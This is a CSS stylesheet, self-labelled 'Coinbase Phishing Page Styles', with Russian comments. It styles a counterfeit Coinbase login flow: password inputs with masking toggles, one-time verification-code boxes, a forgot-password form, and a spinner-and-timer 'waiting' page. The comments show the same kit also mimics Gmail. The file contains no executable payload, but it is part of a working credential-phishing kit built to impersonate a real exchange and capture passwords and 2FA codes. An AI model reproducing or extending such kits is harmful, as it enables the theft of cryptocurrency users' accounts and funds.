/* Coinbase Phishing Page Styles */
/* --- START CSS ADDITIONS for Waiting Page --- */
@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

/* CSS для маскировки пароля */
.password-input-masked {
  -webkit-text-security: disc !important; /* Важно, чтобы перебить другие стили, если они есть */
  /* text-security: disc !important; */ /* Для будущего, когда свойство будет стандартным */
}

/* Для показа пароля - убираем маскировку */
.password-input-unmasked {
  -webkit-text-security: none !important;
  /* text-security: none !important; */
}

/* Стили для контейнера иконки/чекбокса, если они используются как кнопки */
.password-input-container .svg-container,
.auth-show-password {
  cursor: pointer;
}

/* Стили для формы ожидания - можно вынести в отдельные классы */
#formWaiting .auth-content, /* Gmail */
#formWaiting .middle /* Coinbase */
{
    align-items: center; /* Центрирование контента */
    text-align: center;
    padding-top: 40px;
    padding-bottom: 40px;
}
#formWaiting h2, /* Coinbase */
#formWaiting h1 /* Gmail */
{
    text-align: center;
    width: 100%;
}

#formWaiting .spinner {
  margin: 20px auto;
  /* Стили спиннера уже есть в HTML, но можно переопределить */
}

#formWaiting .timer {
  /* Стили таймера уже есть в HTML, но можно переопределить */
  font-weight: bold;
}
/* --- END CSS ADDITIONS --- */

/* Добавить в конец файла styles.css */
@keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
}

/* Font Faces */
/* @font-face {
    font-display: swap;
    font-family: CoinbaseSans;
    src: url(/client/coinbase/media/a_BybxolpF.woff2) format("woff2");
    font-weight: 400 500 800;
}

@font-face {
    font-display: swap;
    font-family: CoinbaseDisplay;
    src: url(/client/coinbase/media/a_BDyAm2xz.woff2) format("woff2");
    font-weight: 400;
} */

/* @font-face {
    font-display: swap;
    font-family: CoinbaseText;
    src: url(/client/coinbase/media/a_B-911Gqf.woff2) format("woff2");
    font-weight: 500 800;
} */
/* 
@font-face {
    font-display: swap;
    font-family: CoinbaseText;
    src: url(/client/coinbase/media/a_BJ1-X6Dz.woff2) format("woff2");
    font-weight: 400;
} */

/* Global Styles */
html, body {
    height: 100%;
    width: 100%;
    font-family: CoinbaseSans, sans-serif;
}

* {
    box-sizing: border-box;
    padding: 0;
    margin: 0;
}

button {
    cursor: pointer;
}

/* Header Styles */
.signin-header {
    display: flex;
    justify-content: space-between;
    padding: 16px 24px 40px;
    align-items: center;
}

.signup-button {
    padding: 1px 16px;
    color: rgb(10, 11, 13);
    font-weight: 600;
    font-family: CoinbaseSans, sans-serif;
    line-height: 24px;
    background: transparent;
    border: 0;
    border-radius: 40px;
    height: 40px;
}

.signup-button:hover {
    background: rgb(250, 250, 250);
    opacity: 0.98;
}

/* Main Container */
.main-container {
    display: flex;
    margin: 8px 0;
    justify-content: center;
    width: 100%;
}

/* Form Styles */
.form {
    padding: 32px 40px;
    width: 448px;
    min-width: 448px;
    border: rgba(91, 97, 110, 0.2) 1px solid;
    border-radius: 16px;
    flex-direction: column;
}

/* Header Section */
.header {
    display: flex;
    width: 100%;
    padding-bottom: 16px;
    flex-direction: column;
    gap: 8px;
}

.header h2 {
    display: flex;
    font-family: CoinbaseDisplay, sans-serif;
    font-weight: 600;
    font-size: 1.8rem;
    width: 100%;
}

.header p {
    display: flex;
    font-family: CoinbaseSans, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
    font-weight: 500;
    font-size: 1rem;
    width: 100%;
}

/* Middle Section */
.middle {
    display: flex;
    flex-direction: column;
}

.input-label {
    color: rgb(10, 11, 13);
    font-family: CoinbaseSans, sans-serif;
    font-size: 0.9rem;
    font-weight: 600;
    width: 100%;
    padding: 8px 0;
}

.input-container {
    width: 100%;
    padding: 1px;
}

.middle input {
    border: rgb(118, 118, 118) 1px solid;
    padding: 16px;
    width: 100%;
    border-radius: 8px;
    outline: none;
    transition: outline 0.1s ease-in-out;
}

.middle input:focus {
    outline: 1.5px solid rgb(0, 82, 255);
}

.middle input:hover {
    background-color: #fafafa;
}

.middle input:active {
    background-color: #ebebec;
}

#form2_div_2 {
    gap: 24px;
    padding-bottom: 40px;
}

#form3_div_2 p {
    font-family: CoinbaseSans, sans-serif;
    font-size: 16px;
    font-weight: 400;
    color: rgb(91, 97, 110);
    line-height: 24px;
    padding-bottom: 40px;
}

/* Footer Section */
.footer {
    display: flex;
    flex-direction: column;
    width: 100%;
    padding-top: 16px;
    gap: 16px;
}

.footer-label {
    color: rgb(91, 97, 110);
    width: 100%;
    display: flex;
    text-align: center;
    padding: 0 56px;
    font-family: CoinbaseText, sans-serif;
    font-size: 0.8rem;
    font-weight: 400;
}

/* Button Styles */
.blue-continue-button {
    background: rgb(0, 82, 255);
    padding: 1px 32px;
    height: 3.3rem;
    border: 0;
    border-radius: 56px;
    color: white;
    font-family: CoinbaseSans, sans-serif;
    font-size: 16px;
    font-weight: 600;
}

.blue-continue-button:hover {
    background: rgb(1, 76, 236);
    opacity: 0.92;
}

.blue-continue-button:disabled {
    background: rgb(128, 169, 255);
    touch-action: none;
    cursor: default;
    pointer-events: none;
}

.alt-button {
    background: rgb(238, 240, 243);
    padding: 1px 32px;
    height: 3.3rem;
    border: 0;
    border-radius: 56px;
    color: black;
    font-family: CoinbaseSans, sans-serif;
    font-size: 16px;
    font-weight: 400;
    justify-content: space-between;
    display: flex;
    flex-direction: row;
    align-items: center;
}

.gray-repeat-button {
    background-color: rgb(238, 240, 243);
    border: 0;
    height: 56px;
    border-radius: 28px;
    color: black;
    font-family: CoinbaseSans, sans-serif;
    font-size: 16px;
    font-weight: 600;
}

.gray-repeat-button:disabled {
    background-color: rgb(247, 248, 249);
    color: rgb(10, 11, 13);
}

.gray-repeat-button:hover {
    background-color: rgb(202, 204, 206);
}

/* Alternative Methods Section */
.another-methods {
    display: flex;
    flex-direction: column;
    gap: 16px;
}

.horizontal-or-line {
    width: 100%;
    text-align: center;
    border-bottom: 1px solid rgba(91, 97, 110, 0.2);
    line-height: 0;
    margin: 10px 0;
    font-family: CoinbaseText, sans-serif;
    font-size: 0.8rem;
}

.horizontal-or-line span {
    background: #fff;
    padding: 0 10px;
}

.methods {
    display: flex;
    flex-direction: column;
    gap: 8px;
    padding-bottom: 16px;
}

/* Password Input Specific Styles */
.password-section {
    display: flex;
    flex-direction: column;
}

.password-input-container {
    width: 100%;
    display: flex;
    flex-direction: row;
    align-items: center;
    border: rgb(118, 118, 118) 1px solid;
    border-radius: 8px;
    outline: none;
    transition: outline 0.1s ease-in-out;
}

.password-input-container input {
    padding: 16px;
    height: 3.6rem;
    border: none !important;
    flex: 1;
}

.password-input-container .svg-container {
    display: flex;
    padding: 1px 12px;
    align-items: center;
    justify-content: center;
}

.password-input-container input:focus,
.svg-container:focus {
    outline: none !important;
}

.password-input-container input:hover,
.svg-container:hover {
    background-color: transparent !important;
}

.password-input-container input:active,
.svg-container:active {
    background-color: transparent !important;
}

.password-input-container:focus {
    outline: 1.5px solid rgb(0, 82, 255);
}

.password-input-container:hover {
    background-color: #fafafa;
}

.password-input-container:active {
    background-color: #ebebec;
}

/* User Info Container */
.user-info-container {
    padding: 16px;
    height: 4rem;
    border: rgba(91, 97, 110, 0.2) 1px solid;
    border-radius: 8px;
    display: flex;
    flex-direction: row;
    align-items: center;
    gap: 8px;
    font-family: CoinbaseSans, sans-serif;
    font-size: 16px;
    font-weight: 600;
}

#form2_img_1 {
    border-radius: 1000px;
}

/* Link styles */
.blue-a {
    color: rgb(0, 82, 255);
    font-family: CoinbaseSans, sans-serif;
    font-weight: 400;
    cursor: pointer;
}

/* Verification Code Input Styles */
.one-time-code-container {
    display: flex;
    flex-direction: row;
    gap: 8px;
    justify-content: space-between;
    width: 100%;
    position: relative;
    padding-bottom: 32px;
}

.code-input-wrapper {
    flex-grow: 1;
    flex-shrink: 1;
    min-width: 0;
    width: 55px;
}

.code-input-inner {
    width: 100%;
    opacity: 1;
}

.one-time-code-input {
    text-align: center;
    color-scheme: light;
    height: 55px;
    width: 100%;
}

@media (max-width: 550px) {
    .form {
        width: 100%;
        border: transparent;
        min-width: 0;
    }
    .footer-label {
        padding: 10px;
    }
}

.invalide-input {
    border-color: rgb(207, 32, 47) !important;
}

.invalide-message {
    display: none;
    align-items: center;
    gap: 5px;
    flex-direction: row;
    margin-top: 5px;
    color: rgb(207, 32, 47);
    font-family: CoinbaseSans, sans-serif;
}

#formForgotPassword_div_5 {
    margin-top: 20px;
}